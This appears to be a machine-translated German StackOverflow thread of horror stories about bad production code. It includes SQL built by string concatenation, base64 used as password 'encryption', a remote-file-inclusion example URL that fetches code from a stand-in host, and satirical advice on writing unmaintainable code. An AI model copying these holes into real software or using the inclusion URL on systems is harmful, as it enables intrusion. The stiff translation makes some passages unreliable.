Was ist der schlimmste Code, den Sie jemals in einer Produktionsumgebung eines Unternehmens gesehen haben?[geschlossen]

StackOverflow https://stackoverflow.com/questions/434414

  •  10-07-2019
  •  | 
  •  

Frage

Was ist das schlimmste oder gefährlichste Codefragment, das Sie jemals in einer Produktionsumgebung eines Unternehmens gesehen haben?Ich bin noch nie auf Produktionscode gestoßen, den ich als absichtlich bösartig und böse bezeichnen würde, daher bin ich ziemlich gespannt, was andere gefunden haben.

Der gefährlichste Code, den ich je gesehen habe, war eine gespeicherte Prozedur, die zwei Verbindungsserver von unserem zentralen Produktionsdatenbankserver entfernt war.Die gespeicherte Prozedur akzeptierte jeden NVARCHAR(8000)-Parameter und führte den Parameter auf dem Zielproduktionsserver über einen Doppelsprung-sp_executeSQL-Befehl aus.Das heißt, der Befehl sp_executeSQL führte einen weiteren Befehl sp_executeSQL aus, um zwei Verbindungsserver zu überspringen.Oh, und das Verbindungsserverkonto verfügte über Systemadministratorrechte auf dem Zielproduktionsserver.

War es hilfreich?

Lösung

Achtung: Lange beängstigend Post vor

Ich habe über eine Anwendung geschrieben ich gearbeitet habe, bevor hier und hier . Um es einfach auszudrücken, meine Firma 130.000 Zeilen von Müll aus Indien geerbt. Die Anwendung wurde in C # geschrieben; es war eine Geld App, die gleiche Art von Software Sager hinter dem Tresen verwenden, wenn Sie auf die Bank gehen. Die App abgestürzt 40-50 mal am Tag, und es konnte einfach nicht in der Arbeits Code Refactoring werden. Meine Firma hatte die gesamte App im Laufe von 12 Monaten neu schreiben.

Warum ist diese Anwendung schlecht? Da der Anblick des Quellcodes war genug, um einen vernünftigen Menschen verrückt und einen wütenden Mann vernünftig zu fahren. Die verdrehte Logik verwendet, um diese Anwendung schreiben konnte nur durch einen Lovecraftian Alptraum inspiriert. Einzigartige Merkmale dieser Anmeldung:

  • Ohne 130.000 Codezeilen enthielt die gesamte Anwendung 5 Klassen (mit Ausnahme von Formulardateien). Alle diese waren öffentliche statische Klassen. Eine Klasse wurde Globals.cs genannt, die enthaltenen 1000s und 1000s und 1000s öffentlichen statischen Variablen verwendet, um den gesamten Zustand der Anwendung zu halten. Diese fünf Klassen enthalten sind 20.000 Zeilen Code insgesamt, mit dem restlichen Code in den Formen eingebettet ist.

  • Sie müssen sich fragen, wie kam an die Programmierer ohne Klassen, eine so große Anwendung zu schreiben? Was haben sie verwenden, um ihre Datenobjekte darstellen? Es stellt sich heraus die Programmierer verwaltet die Hälfte der Konzepte neu erfinden wir alle über OOP einfach gelernt von Arraylists, HashTables und Tables kombiniert. Wir sahen eine Menge davon:

    • Arraylisten von Hash-Tabellen
    • Hashtables mit String-Schlüsseln und DataRow Werte
    • Arraylisten von Tables
    • DataRows enthält Arraylisten, die HashTables enthalten
    • Arraylisten von DataRows
    • Arraylisten von Arraylists
    • HashTables mit String-Schlüsseln und HashTable Werte
    • Arraylisten von Arraylists von HashTables
    • Jede andere Kombination von Arraylists, HashTables, DataTables- man sich denken kann.

    Beachten Sie, keiner der Datenstrukturen werden über stark typisiert, so dass Sie werfen müssen, was Geheimnis Objekt, das Sie auf den richtigen Typ aus der Liste zu bekommen. Es ist erstaunlich, welche Art von komplexen, Rube Goldberg-ähnliche Datenstrukturen einfach Arraylisten mit erstellen, HashTables und Tables.

  • Um ein Beispiel zu teilen, wie das Objektmodell oben beschrieben zu verwenden, sollten Sie Konten: der ursprüngliche Programmierer eine separate HashTable für jede concievable Eigenschaft eines Kontos erstellt: eine HashTable genannt hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Die Schlüssel für all diese Hashtables war ein „|“ getrennte Zeichenfolge. Denkbare Schlüsseln „123456 | DDA“, „24100 | SVG“, „100 | LNS“, etc

  • Da der Zustand der gesamten Anwendung leicht zugänglich von den globalen Variablen war, die Programmierer fanden es unnötig Parameter an Methoden zu übergeben. Ich würde sagen, 90% der Methoden 0 Parameter haben. Von den wenigen, die taten, wurden alle Parameter als Strings für Bequemlichkeit weitergeleitet, unabhängig davon, was die Zeichenfolge dargestellt.

  • Nebenwirkung frei Funktionen noch nicht existierte. Jede Methode modifiziert 1 oder mehr Variablen in der Globals-Klasse. Nicht alle Nebenwirkungen sinnvoll; hatte zum Beispiel eine der Form Validierungsverfahren einen mysteriösen Nebeneffekt der Berechnung über und kurze Zahlungen auf Darlehen für was auch immer wurde Konto Globals.lngAcctNum gespeichert.

  • Es gibt zwar viele Formen waren, gab es eine Form, sie zu beherrschen alle: frmMain.cs, die eine satte 20.000 Zeilen Code enthalten. Was tat frmMain? Alles. Es sah auf Konten, gedruckte Quittungen, verzichtet Bargeld, es hat alles.

    Manchmal werden auch andere Formen benötigt Methoden auf frmMain nennen. Anstatt diesen Code Faktor aus der Form in eine separate Klasse, warum nicht nur den Code aufrufen direkt:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Um Konten nachschlagen, die Programmierer haben so etwas wie folgt aus:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    So schlecht wie es bereits eine unsichtbare Form ist die Erstellung von Business-Logik durchzuführen, wie denken Sie, das Formular weiß, welche bis schauen Konto? Das ist ganz einfach: die Form Globals.lngAcctNum und Globals.strAcctType zugreifen kann. (Wer nicht ungarische Notation lieben?)

  • -Code-Wiederverwendung war ein Synonym für Strg-C, Strg-V. Ich fand 200-line Methoden Kopieren / Einfügen über 20 bildet.

  • Die Anwendung hatte ein bizarres Threading-Modell, was Ich mag das Faden-Timer Modell nennen: jede Form, die ein Thread hatte einen Timer auf sie hervorgebracht hat. Jeder Thread, hervorgebracht wurde, startete einen Zeitgeber, der eine Verzögerung von 200 ms hatte; sobald der Timer gestartet, wäre es überprüfen, ob der Faden etwas Magie boolean gesetzt hatte, dann würde es den Faden abbrechen. Der resultierende Threadabort geschluckt wurde.

    Sie würden denken, dass Sie nur einmal dieses Muster sehen würde, aber ich fand es in mindestens 10 verschiedenen Orten.

  • Apropos Threads, das Stichwort "sperren" nie in der Anwendung erscheint. Themen globalen Zustand frei manipuliert, ohne eine Sperre zu nehmen.

  • Jede Methode in der Anwendung einen try / catch-Block enthalten ist. Jede Ausnahme wurde protokolliert und geschluckt.

  • Wer auf Aufzählungen wechseln muss, wenn auf Strings Schalen so einfach ist!

  • Einige Genie herausgefunden, dass Sie mehrere Formular-Steuerelemente bis zu dem gleichen Event-Handler kann der Haken. Wie gingen die Programmierer das?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Das gleiche Genie entdeckte auch den glorreichen ternären Operator. Hier sind einige Code-Beispiele:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Hier ist ein Code-Schnipsel, die den typischen Missbrauch des String demonstriert. Beachten Sie, wie der Programmierer einen String in einer Schleife concats, dann hängt die resultierende Zeichenfolge an den String:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • Es wird keine Primärschlüssel, Indizes oder Fremdschlüssel-Constraints bestanden auf Tabellen, fast alle Felder vom Typ varchar waren (50), und 100% der Felder waren nullable. Interessanterweise Bit-Felder wurden nicht zum Speichern von Daten verwendet boolean; stattdessen ein char (1) Gebiet verwendet wurde, und die ‚Y‘ und Zeichen ‚N‘ verwendet, um jeweils wahr und falsch darzustellen.

    • Das Sprechen der Datenbank, hier ist ein repräsentatives Beispiel für eine gespeicherte Prozedur:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

Mit allem, was gesagt, das größte Problem bei dieser 130.000 Linie Anwendung dieser. Keine Unit-Tests

Ja, ich habe diese Geschichte zu TheDailyWTF geschickt, und dann kündigte ich meinen Job.

Andere Tipps

Ich habe ein Passwort Verschlüsselungsfunktion so gesehen

function EncryptPassword($password)
{
    return base64_encode($password);
}

In einem System, das Kreditkartenzahlung nahm verwenden wir die vollständige Kreditkartennummer zu speichern, zusammen mit Namen, Ablaufdatum, etc.

Es stellte sich heraus dies illegal ist, die gegeben ist ironisch die wir zur Zeit das Programm für das Justizministerium geschrieben haben.

Dies war die Fehlerroutine in einem Stück kommerziellen Code verarbeitet:

/* FIXME! */
while (TRUE)
    ;

Ich sollte herausfinden, warum „der App Perren hält“.

Die Kombination von allen folgenden Php ‚Eigenschaften‘ auf einmal.

  1. Register Globals
  2. Variable Variablen
  3. Aufnahme von Remote-Dateien und Code über include ( "http: // ...");
  4. Wirklich Horrific Array / Variablennamen (wörtliches Beispiel):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (I buchstäblich eine Stunde damit verbracht, herauszufinden, wie das funktioniert, bevor ich erkannte, dass sie wern't die gleiche Variable)

  5. Neu 50-Dateien, die jeweils 50 Dateien und Sachen linear / prozedural über alle 50 Dateien in bedingter und unvorhersehbaren Weise durchgeführt werden.

Für diejenigen, die variable Variablen nicht wissen:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Jetzt $ betrachtet x enthält einen Wert von Ihrer URL (Globals Magie registrieren), so nirgendwo in Ihrem Code ist es offensichtlich, was Variable Ihrer Arbeit mit becuase sein ganz durch die URL bestimmt.

Betrachten wir nun, was passiert, wenn der Inhalt dieser Variablen eine URL durch den Websites Benutzer angegeben werden kann. Ja, das kann nicht Sinn machen, aber es schafft eine Variable, die URL genannt, das heißt:

$http://google.com,

außer kann es nicht direkt zugegriffen werden kann, müssen Sie es über die Doppel $ Technik, die oben verwendet werden.

Darüber hinaus, wenn seine möglich, dass ein Benutzer eine Variable auf der URL angeben, die enthalten, welche Datei anzeigt, gibt es böse Tricks wie

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

und wenn diese Variable taucht in include($include)

und ‚evilcode.php‘ druckt seinen Code Klartext, und Php unangemessen gesichert ist, wird PHP nur rumpeln off, herunterladen evilcode.php, und führen Sie es aus, wenn der Benutzer des Web-Servers.

Die Web-Sever geben sie alle ihre Berechtigungen etc, Shell Anrufe permiting, beliebige Binärdateien Herunterladen und Ausführen ihnen, etc etc, bis schließlich fragen, warum Sie einen Kasten haben aus Festplattenspeicher ausgeführt wird, und ein Verzeichnis hat 8 GB Raubkopien von Filmen mit italienischer Synchronisation über einen bot im IRC geteilt werden.

Ich bin nur dankbar, dass ich diese Gräueltat entdeckt, bevor das Skript den Angriff ausgeführt wird entschieden, etwas wirklich gefährlich wie Ernte extrem vertrauliche Informationen aus der mehr oder weniger ungesicherte Datenbank zu tun: |

(ich die DailyWTF mit dieser Code-Basis jeden Tag für 6 Monate unterhalten konnte, ich mache keine Witze. Es ist nur schade, dass ich die DailyWTF entdeckt, nachdem ich diesen Code entkam)

Im Hauptprojekt Header-Datei, von einem alten Hand COBOL-Programmierer, der aus unerklärlichen Gründen wurde einen Compiler in C schreiben:

int i, j, k;

„So werden Sie nicht einen Compiler-Fehler erhalten, wenn Sie vergessen haben, Ihre Schleife Variablen zu erklären.“

Die Windows-Installer.

Dieser Artikel So schreiben Sie nicht wartbaren Code deckt einige der brillantesten Techniken ab, die der Mensch kennt.Einige meiner Favoriten sind:


Neue Verwendungsmöglichkeiten für Namen für Babys

Kaufen Sie ein Exemplar eines Namensbuchs für Babys und Sie werden nie an variablen Namen verlieren.Fred ist ein wunderbarer Name und leicht zu tippen.Wenn Sie nach einfach einzugebenden Variablennamen suchen, versuchen Sie es mit „adsf“ oder „aoeu“, wenn Sie mit einer DSK-Tastatur tippen.

Kreative Rechtschreibfehler

Wenn Sie beschreibende Variablen- und Funktionsnamen verwenden müssen, schreiben Sie diese falsch.Durch die falsche Schreibweise einiger Funktions- und Variablennamen und die korrekte Schreibweise in anderen (z. B. SetPintleOpening SetPintalClosing) verhindern wir effektiv die Verwendung von grep- oder IDE-Suchtechniken.Es funktioniert erstaunlich gut.Fügen Sie einen internationalen Touch hinzu, indem Sie in verschiedenen Theatern „tory“ oder „tori“ buchstabieren.

Seien Sie abstrakt

Verwenden Sie bei der Benennung von Funktionen und Variablen häufig abstrakte Wörter wie it, everything, data, handle, stuff, do, routine, perform und die Ziffern, z. B.routineX48, PerformDataFunction, DoIt, HandleStuff und do_args_method.

Kapitalisierung

Schreiben Sie den ersten Buchstaben einer Silbe in der Mitte eines Wortes zufällig groß.Zum Beispiel ComputeRasterHistoGram().

Das kleine l sieht der Ziffer 1 sehr ähnlich

Verwenden Sie den Kleinbuchstaben „l“, um lange Konstanten anzuzeigen.z.B.10 l werden eher mit 101 verwechselt als 10 l.Verbieten Sie alle Schriftarten, die eindeutig uvw wW gq9 2z 5s il17|!j oO08 `'" ;,.m nn rn {[()]}.Seien Sie kreativ.

Recyceln Sie Ihre Variablen

Wo immer die Bereichsregeln dies zulassen, verwenden Sie vorhandene, nicht verwandte Variablennamen wieder.Verwenden Sie in ähnlicher Weise dieselbe temporäre Variable für zwei voneinander unabhängige Zwecke (vorgeblich zum Speichern von Stack-Slots).Für eine teuflische Variante verwandeln Sie die Variable, indem Sie beispielsweise einer Variablen am Anfang einer sehr langen Methode einen Wert zuweisen und dann irgendwo in der Mitte die Bedeutung der Variablen auf subtile Weise ändern, z. B. durch Konvertieren von eine 0-basierte Koordinate zu einer 1-basierten Koordinate.Achten Sie darauf, diese Bedeutungsänderung nicht zu dokumentieren.

CD mit vwls s mch trsr

Wenn Sie Abkürzungen in Variablen- oder Methodennamen verwenden, vermeiden Sie Langeweile mit mehreren Varianten für dasselbe Wort und buchstabieren Sie es ab und zu sogar handschriftlich.Dies hilft dabei, die faulen Penner zu besiegen, die die Textsuche verwenden, um nur einen Teilaspekt Ihres Programms zu verstehen.Betrachten Sie abweichende Schreibweisen als Variante des Tricks, z.Mischen internationaler Farben mit amerikanischen Farben und Dude-Speak-Kulerz.Wenn Sie Namen vollständig buchstabieren, gibt es nur eine Möglichkeit, jeden Namen zu buchstabieren.Diese sind für den Wartungsprogrammierer zu leicht zu merken.Da es so viele verschiedene Möglichkeiten gibt, ein Wort abzukürzen, können Sie mit Abkürzungen mehrere verschiedene Variablen haben, die alle offensichtlich denselben Zweck haben.Als zusätzlicher Bonus bemerkt der Wartungsprogrammierer möglicherweise nicht einmal, dass es sich um separate Variablen handelt.

Obskure Filmreferenzen

Verwenden Sie Konstantennamen wie „LancelotsFavouriteColor“ anstelle von „Blue“ und weisen Sie ihm den Hexadezimalwert „$0204FB“ zu.Die Farbe sieht auf dem Bildschirm genauso aus wie reines Blau, und ein Wartungsprogrammierer müsste 0204FB berechnen (oder ein Grafiktool verwenden), um zu wissen, wie es aussieht.Nur jemand, der mit Monty Python und dem Heiligen Gral bestens vertraut ist, würde wissen, dass Lancelots Lieblingsfarbe Blau war.Wenn ein Wartungsprogrammierer nicht ganze Monty-Python-Filme aus dem Gedächtnis zitieren kann, hat er oder sie nichts damit zu tun, ein Programmierer zu sein.

Dokumentieren Sie das Offensichtliche

Peppen Sie den Code mit Kommentaren wie /* add 1 to i */ auf, dokumentieren Sie jedoch niemals fadenscheinige Dinge wie den Gesamtzweck des Pakets oder der Methode.

Dokumentieren Sie, wie und nicht warum

Dokumentieren Sie nur die Details dessen, was ein Programm tut, nicht aber dessen, was es zu erreichen versucht.Auf diese Weise hat der Bearbeiter im Falle eines Fehlers keine Ahnung, was der Code tun soll.

Nebenwirkungen

In C sollen Funktionen idempotent sein (ohne Nebenwirkungen).Ich hoffe, dieser Hinweis reicht aus.

Verwenden Sie Oktal

Schmuggeln Sie Oktalliterale wie folgt in eine Liste von Dezimalzahlen ein:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Erweitertes ASCII

Erweiterte ASCII-Zeichen sind als Variablennamen vollkommen gültig, einschließlich der Zeichen ß, Ð und ñ.Ohne Kopieren/Einfügen in einem einfachen Texteditor ist es fast unmöglich, sie einzugeben.

Namen aus anderen Sprachen

Verwenden Sie fremdsprachige Wörterbücher als Quelle für Variablennamen.Verwenden Sie zum Beispiel den deutschen Punkt für Punkt.Wartungsprogrammierer, die über keine guten Deutschkenntnisse verfügen, werden die multikulturelle Erfahrung genießen, die Bedeutung zu entschlüsseln.

Namen aus der Mathematik

Wählen Sie Variablennamen, die sich als mathematische Operatoren ausgeben, z. B.:

openParen = (slash + asterix) / equals;

Code, der sich als Kommentare tarnt und umgekehrt

Fügen Sie Codeabschnitte ein, die auskommentiert sind, auf den ersten Blick aber nicht so erscheinen.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Würden Sie ohne die Farbcodierung bemerken, dass drei Codezeilen auskommentiert sind?

Willkürliche Namen, die sich als Schlüsselwörter tarnen

Wenn Sie dokumentieren und einen beliebigen Namen zur Darstellung eines Dateinamens benötigen, verwenden Sie „Datei“.Verwenden Sie niemals einen offensichtlich willkürlichen Namen wie „Charlie.dat“ oder „Frodo.txt“.Im Allgemeinen verwenden Sie in Ihren Beispielen beliebige Namen, die möglichst nach reservierten Schlüsselwörtern klingen.Gute Namen für Parameter oder Variablen wären beispielsweise „Bank“, „Blank“, „Klasse“, „Konstante“, „Konstante“, „Eingabe“, „Schlüssel“, „Schlüsselwort“, „Art“, „Ausgabe“. , „Parameter“, „Parm“, „System“, „Typ“, „Wert“, „Var“ und „Variable“.Wenn Sie tatsächlich reservierte Wörter für Ihre beliebigen Namen verwenden, die von Ihrem Befehlsprozessor oder Compiler abgelehnt würden, umso besser.Wenn Sie dies gut machen, werden die Benutzer in Ihrem Beispiel hoffnungslos zwischen reservierten Schlüsselwörtern und willkürlichen Namen verwechselt, aber Sie können unschuldig aussehen und behaupten, Sie hätten es getan, um ihnen zu helfen, den richtigen Zweck mit jeder Variablen zu verknüpfen.

Codenamen dürfen nicht mit Bildschirmnamen übereinstimmen

Wählen Sie Ihre Variablennamen so, dass sie keinerlei Bezug zu den Beschriftungen haben, die bei der Anzeige solcher Variablen auf dem Bildschirm verwendet werden.Z.B.Beschriften Sie das Feld auf dem Bildschirm mit „Postleitzahl“, rufen Sie im Code jedoch die zugehörige Variable „zip“ auf.

Auswahl des besten Überlastoperators

Überladen Sie in C++ +,-,*,/, um Dinge zu tun, die nichts mit Addition, Subtraktion usw. zu tun haben.Denn wenn die Stroustroup den Shift-Operator für I/O nutzen kann, warum sollten Sie dann nicht ebenso kreativ sein?Wenn Sie + überladen, stellen Sie sicher, dass Sie dies so tun, dass i = i + 5;hat eine völlig andere Bedeutung als i += 5;Hier ist ein Beispiel dafür, wie die Verschleierung überladener Operatoren zu einer hohen Kunst erhoben wird.Überladen das '!' Bediener für eine Klasse, aber die Überlastung hat nichts mit Inverting oder Negation zu tun.Lassen Sie es eine Ganzzahl zurückgeben.Um dann einen logischen Wert dafür zu erhalten, müssen Sie „!“ verwenden.!'.Dies kehrt jedoch die Logik um, sodass Sie [Trommelwirbel] „!“ verwenden müssen.!!'.Nicht verwechseln!Operator, der eine boolesche 0 oder 1 zurückgibt, mit dem bitweisen logischen Negationsoperator ~.

Ausnahmen

Ich werde Sie in ein wenig bekanntes Codierungsgeheimnis einweihen.Ausnahmen sind ein Ärgernis.Richtig geschriebener Code schlägt nie fehl, sodass Ausnahmen eigentlich unnötig sind.Verschwenden Sie keine Zeit damit.Ausnahmen für Unterklassen sind für Inkompetente gedacht, die wissen, dass ihr Code fehlschlagen wird.Sie können Ihr Programm erheblich vereinfachen, indem Sie in der gesamten Anwendung (in der Hauptanwendung) nur einen einzigen Try/Catch haben, der System.exit() aufruft.Kleben Sie einfach einen vollkommen standardmäßigen Satz von Würfen auf jeden Methodenheader, unabhängig davon, ob sie tatsächlich Ausnahmen auslösen könnten oder nicht.

Magic Matrix-Standorte

Verwenden Sie spezielle Werte an bestimmten Matrixpositionen als Flags.Eine gute Wahl ist das Element [3][0] in einer Transformationsmatrix, die mit einem homogenen Koordinatensystem verwendet wird.

Magic Array Slots neu aufgelegt

Wenn Sie mehrere Variablen eines bestimmten Typs benötigen, definieren Sie einfach ein Array davon und greifen Sie dann über die Nummer darauf zu.Wählen Sie eine Nummerierungskonvention, die nur Sie kennen, und dokumentieren Sie sie nicht.Und machen Sie sich nicht die Mühe, #define-Konstanten für die Indizes zu definieren.Jeder sollte nur wissen, dass das globale Variablen-Widget[15] die Schaltfläche „Abbrechen“ ist.Dies ist lediglich eine aktuelle Variante der Verwendung absoluter numerischer Adressen im Assembler-Code.

Niemals verschönern

Verwenden Sie niemals einen automatisierten Quellcode-Aufräumdienst (Verschönerer), um Ihren Code ausgerichtet zu halten.Setzen Sie sich dafür ein, dass sie aus Ihrem Unternehmen verbannt werden, mit der Begründung, dass sie falsche Deltas in PVCS/CVS erzeugen (Versionskontrollverfolgung) oder dass jeder Programmierer seinen eigenen Einrückungsstil für jedes von ihm geschriebene Modul für immer unantastbar halten sollte.Bestehen Sie darauf, dass andere Programmierer diese eigenwilligen Konventionen in „seinen“ Modulen beachten.Das Verbot von Beautifiern ist recht einfach, auch wenn sie Millionen von Tastenanschlägen für die manuelle Ausrichtung ersparen und Tage damit verschwenden, schlecht ausgerichteten Code falsch zu interpretieren.Bestehen Sie einfach darauf, dass alle das gleiche aufgeräumte Format verwenden, nicht nur für die Speicherung im gemeinsamen Repository, sondern auch während der Bearbeitung.Dadurch wird ein RWAR gestartet und der Chef wird, um den Frieden zu wahren, das automatische Aufräumen verbieten.Ohne automatisches Aufräumen können Sie den Code jetzt versehentlich falsch ausrichten, um die optische Täuschung zu erwecken, dass Schleifen- und If-Körper länger oder kürzer sind, als sie tatsächlich sind, oder dass else-Klauseln mit einem anderen If übereinstimmen, als sie tatsächlich sind.z.B.

if(a)
  if(b) x=y;
else x=z;

Tests sind etwas für Feiglinge

Ein mutiger Programmierer wird diesen Schritt umgehen.Zu viele Programmierer haben Angst vor ihrem Chef, Angst davor, ihren Job zu verlieren, Angst vor Hassmails von Kunden und Angst davor, verklagt zu werden.Diese Angst lähmt das Handeln und verringert die Produktivität.Studien haben gezeigt, dass der Wegfall der Testphase bedeutet, dass Manager die Versandtermine weit im Voraus festlegen können, was eine offensichtliche Hilfe im Planungsprozess ist.Wenn die Angst verschwunden ist, können Innovation und Experimente aufblühen.Die Rolle des Programmierers besteht darin, Code zu erstellen, und das Debuggen kann durch eine gemeinsame Anstrengung des Helpdesks und der Legacy-Wartungsgruppe durchgeführt werden.

